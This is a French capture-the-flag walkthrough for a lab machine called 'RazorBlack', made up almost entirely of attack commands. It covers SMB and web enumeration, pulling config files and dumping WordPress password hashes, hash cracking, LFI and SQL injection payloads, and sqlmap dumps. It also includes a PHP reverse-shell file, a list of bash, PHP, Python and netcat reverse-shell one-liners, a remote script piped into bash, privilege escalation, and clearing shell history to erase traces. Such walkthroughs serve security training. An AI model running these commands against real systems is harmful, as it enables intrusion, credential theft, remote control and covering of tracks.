Commande :
nmap -sV -sC -p- -oN nmap_scan.txt <IP_CIBLE>
Explications :
- -sV : Détecte les versions des services
- -sC : Exécute les scripts par défaut de nmap
- -p- : Scanne tous les ports (1-65535)
- -oN : Sauvegarde le résultat dans un fichier
Résultat attendu :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 3.X - 4.X
3306/tcp open mysql MySQL 5.7.x
8080/tcp open http-proxy Werkzeug httpd
Commande :
enum4linux -a <IP_CIBLE>
Alternative avec smbclient :
smbclient -L //<IP_CIBLE> -N
Explications :
- enum4linux : Énumère les partages SMB et les utilisateurs
- -a : Mode agressif (énumération complète)
- -N : Pas de mot de passe
Résultat attendu :
[+] Found user: admin
[+] Found user: developer
[+] Sharename: 'admin$'
[+] Sharename: 'IPC$'
[+] Sharename: 'www'
Commande :
smbclient //<IP_CIBLE>/www -N
Explications :
- Accès au partage "www" sans authentification
- Permet de voir les fichiers accessibles
Actions :
# Une fois connecté
ls
cd /
# Télécharger les fichiers intéressants
get config.php
get database.php
Commande :
gobuster dir -u http://<IP_CIBLE> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt
Explications :
- gobuster : Force brute les répertoires web
- -w : Utilise une wordlist
- -x : Teste les extensions spécifiées
Commande alternative :
ffuf -u http://<IP_CIBLE>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e php,html,txt
Résultat attendu :
/admin
/uploads
/config
/dashboard
Commande :
curl -v http://<IP_CIBLE>:8080/
Explications :
- Teste le service sur le port 8080
- -v : Mode verbose pour voir les en-têtes
Depuis SMB :
smbclient //<IP_CIBLE>/www -N
> get config.php
> get database.php
Consultation des fichiers :
cat config.php
cat database.php
Informations à extraire :
- Identifiants MySQL
- Clés API
- Secrets d'application
Commande :
mysql -h <IP_CIBLE> -u admin -p
Alternative avec sshpass :
mysql -h <IP_CIBLE> -u admin -p'password' database_name
Requêtes SQL :
-- Lister les bases de données
SHOW DATABASES;
-- Sélectionner la base
USE wordpress; -- ou le nom de la base trouvée
-- Lister les tables
SHOW TABLES;
-- Regarder les utilisateurs
SELECT * FROM wp_users;
-- Extraire les mots de passe
SELECT user_login, user_pass FROM wp_users;
Commande :
# Extraire les hashs dans un fichier
echo "admin:\$P\$BxaVnN5rINhN2TG7jP5p2K2Ycjl2Zo/" > hashes.txt
# Utiliser hashcat
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
# Ou john
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Explications :
- -m 400 : Mode phpass (WordPress)
- Mode John détecte automatiquement le type de hash
Exemple - RFI/LFI :
# Test LFI
curl "http://<IP_CIBLE>/page.php?file=../../../../etc/passwd"
# Lecture du fichier
http://<IP_CIBLE>/page.php?file=/etc/passwd
Exemple - SQL Injection :
# Payload simple
' OR '1'='1
' UNION SELECT NULL,user(),version() --
# Avec sqlmap
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" --dbs
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" -D database_name --tables
sqlmap -u "http://<IP_CIBLE>/page.php?id=1" -D database_name -T users --dump
Si vous avez accès au serveur web :
# Créer un fichier shell
cat > shell.php << 'EOF'
<?php
$sock=fsockopen("<VOTRE_IP>",<VOTRE_PORT>);
$proc=proc_open("/bin/bash",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>
EOF
# Upload via SMB ou via la vulnérabilité
Écouter le reverse shell :
nc -lvnp 4444
Alternative avec msfvenom :
msfvenom -p php/reverse_php LHOST=<VOTRE_IP> LPORT=4444 -o shell.php
Une fois le shell obtenu :
# Vérifier l'utilisateur actuel
whoami
id
# Vérifier les sudo permissions
sudo -l
# Chercher les fichiers SUID
find / -perm -4000 2>/dev/null
# Vérifier les droits des fichiers sensibles
ls -la /etc/passwd
ls -la /etc/shadow
# Chercher les creds dans les fichiers
grep -r "password" /etc/ 2>/dev/null
grep -r "PASSWORD" /home/ 2>/dev/null
Exemple - Service vulnérable :
# Lister les services en cours d'exécution
ps aux
# Checker les services listening
netstat -tulpn
# Chercher les scripts SUID
find / -user root -perm -4000 2>/dev/null
Commande :
# Vérifier la version du kernel
uname -a
# Chercher les exploits disponibles
searchsploit "Linux 3.x"
# Compiler et exécuter l'exploit
gcc exploit.c -o exploit
./exploit
Via sudo :
# Si la permission sudo permet
sudo su
sudo -i
Via exploitation kernel :
# Préparer l'exploit
gcc -o priv_esc exploit.c
./priv_esc
# Vérifier si nous sommes root
whoami # devrait retourner "root"
id # devrait montrer uid=0
Commandes :
# User flag
cat /home/<username>/user.txt
# Root flag
cat /root/root.txt
# Vérifier les fichiers créés
find / -type f -newer /tmp 2>/dev/null
# Nettoyer les traces
history -c
cat /dev/null > ~/.bash_history
nmap -A -T4 <IP_CIBLE>
enum4linux -a -v <IP_CIBLE>
smbmap -H <IP_CIBLE>
ffuf -u http://<IP_CIBLE>/FUZZ -w /usr/share/wordlists/dirb/common.txt
dirbuster -u http://<IP_CIBLE> -l /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
mysql -h <IP> -u user -p 'password' -e "SELECT * FROM table;"
# Bash
bash -i >& /dev/tcp/<VOTRE_IP>/4444 0>&1
# PHP
php -r '$sock=fsockopen("<VOTRE_IP>",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<VOTRE_IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc -e /bin/bash <VOTRE_IP> 4444
# Script d'énumération
curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linpeas/linpeas.sh | bash
# Ou utiliser
./linpeas.sh -a
# Vérifier les binaires SUID
find / -perm -4000 2>/dev/null
# Vérifier les capacités
getcap -r / 2>/dev/null
Toujours documenter votre progression
- Prenez des notes sur chaque découverte
- Gardez les identifiants trouvés
- Listez les vulnérabilités détectées
Ordre d'exploitation recommandé
- Énumération complète d'abord
- Exploitation des services publics
- Escalade de privilèges
- Récupération des flags
Outils essentiels
- nmap, gobuster/ffuf pour l'énumération web
- enum4linux/smbmap pour SMB
- sqlmap pour les injections SQL
- john/hashcat pour les mots de passe
- nc/socat pour les reverse shells
Bonnes pratiques
- Vérifier toujours les permissions des fichiers
- Chercher les fichiers de configuration
- Vérifier les connexions réseau ouvertes
- Analyser les processus en cours d'exécution
Cette solution fournit une méthodologie complète pour exploiter la machine RazorBlack. Adapatez les commandes en fonction de vos découvertes réelles. L'énumération est la clé du succès en pentest !